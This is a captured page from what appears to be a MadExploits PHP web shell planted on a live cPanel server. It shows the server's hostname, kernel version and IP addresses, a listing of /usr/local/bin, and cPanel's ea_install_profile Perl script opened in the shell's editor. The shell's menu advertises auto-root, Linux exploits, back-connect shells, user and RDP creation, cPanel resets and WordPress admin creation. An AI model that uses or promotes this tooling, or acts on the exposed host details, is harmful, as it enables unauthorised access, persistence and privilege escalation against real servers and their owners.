Linux server.flyproject.com.br 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Apache
: 207.244.227.86 | : 216.73.217.1
10 Domain
7.1.33
hubnog
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
corepack
599.82
KB
-rwxr-xr-x
crontab
1.81
MB
-rwxr-xr-x
ea-php56
3.61
MB
-rwxr-xr-x
ea-php70
3.49
MB
-rwxr-xr-x
ea-php71
3.63
MB
-rwxr-xr-x
ea-php72
3.87
MB
-rwxr-xr-x
ea-php73
4.24
MB
-rwxr-xr-x
ea-php74
6.07
MB
-rwxr-xr-x
ea-php80
6.07
MB
-rwxr-xr-x
ea-php81
6.08
MB
-rwxr-xr-x
ea_convert_php_ini
39.85
KB
-rwxr-xr-x
ea_current_to_profile
7.85
KB
-rwxr-xr-x
ea_install_profile
3.71
KB
-rwxr-xr-x
ea_sync_user_phpini_settings
6.73
KB
-rwxr-xr-x
instmodsh
4.1
KB
-r-xr-xr-x
json_xs
6.93
KB
-r-xr-xr-x
logger
4.61
MB
-rwxr-xr-x
lsphp
937
B
-rwxr-xr-x
node
71.94
MB
-rwxr-xr-x
npm
4.6
KB
-rwxr-xr-x
npx
177
B
-rwxr-xr-x
passwd
3.45
MB
-rwxr-xr-x
pear
383
B
-rwxr-xr-x
php
933
B
-rwxr-xr-x
wp-toolkit
94
B
-rwx------
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ea_install_profile
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - ea_install_profile Copyright(c) 2016 cPanel, Inc. # All rights Reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package ea_install_profile; use strict; use Cpanel::JSON; use Cpanel::PackMan; use Cpanel::Config::Httpd; use Data::Dumper; sub usage { my ($msg) = @_; print "Error: $msg\n" if defined $msg; print "usage: ea_install_profile [--firstinstall|--install] profile_file\n"; print "\n"; print " With no flags, $0 will only do conflict resolution on the profile.\n"; print "\n"; print " --install: Resolve conflicts and install the profile.\n"; print " --firstinstall: Attempt to do the install without conflict resolution and fallback\n"; print " to doing --install if it fails. This is only intended to be used\n"; print " on a fresh cPanel install.\n"; print "\n"; exit( $msg ? 1 : 0 ); } sub script { my (@args) = @_; die "May only be run if you are using EasyApache 4" if ( !Cpanel::Config::Httpd::is_ea4() ); my $profile; my $install = 0; my $firstinstall = 0; my $idx = 0; if ( $args[$idx] eq "--firstinstall" ) { $idx++; $firstinstall = 1; } if ( $args[$idx] eq "--install" ) { $idx++; $install = 1; } usage() if ( !defined $args[$idx] ); $profile = $args[$idx]; if ( !-f $profile ) { $profile = "/etc/cpanel/ea4/profiles/custom/" . $profile; usage("Cannot find profile") if !-f $profile; } print "Loading profile …\n"; my %server_pkgs; @server_pkgs{ Cpanel::PackMan->instance->list( 'prefix' => 'ea-' ) } = (); my $data = Cpanel::JSON::LoadFile($profile); # 1. detect any packages in the profile that do not exist on the server my %not_on_server = ( map { !exists $server_pkgs{$_} ? ( $_ => undef ) : () } @{ $data->{pkgs} } ); # 2. remove %not_on_server from $profile->{pkgs} $data->{pkgs} = [ grep { !exists $not_on_server{$_} } @{ $data->{pkgs} } ]; # 3. Tell them about the ones we are ignoring my $derps = 0; for my $derppkg ( sort keys %not_on_server ) { warn " * Warning! ignored package: $derppkg. It is in the profile’s package list but does not exist on this server.\n"; $derps++; } print "\n" if $derps; if ($firstinstall) { print "The system is running in first install mode and will install the requested packages without resolving conflicts …\n"; local $@; eval { Cpanel::PackMan->instance->sys->install( @{ $data->{pkgs} } ); }; print " … done!\n"; if ($@) { warn "First install method failed ($@)."; warn "The system will fall back to doing a full install."; $install = 1; } else { return 0; } } print "The system is resolving package dependencies and conflicts. This may take some time …\n"; my $resolve_method = defined &Cpanel::PackMan::resolve_multi_op_ns ? 'resolve_multi_op_ns' : 'resolve_multi_op'; my $res = Cpanel::PackMan->instance->$resolve_method( $data->{'pkgs'}, 'ea' ); print " … done!\n"; if ($install) { print "Installing …\n"; my $actions = Cpanel::PackMan->instance->multi_op($res); if (!$actions) { print " … nothing to do.\n"; } else { print " … done!\n"; } } else { print Dumper($res); } return 0; } exit( script(@ARGV) ) unless caller(); 1;
Close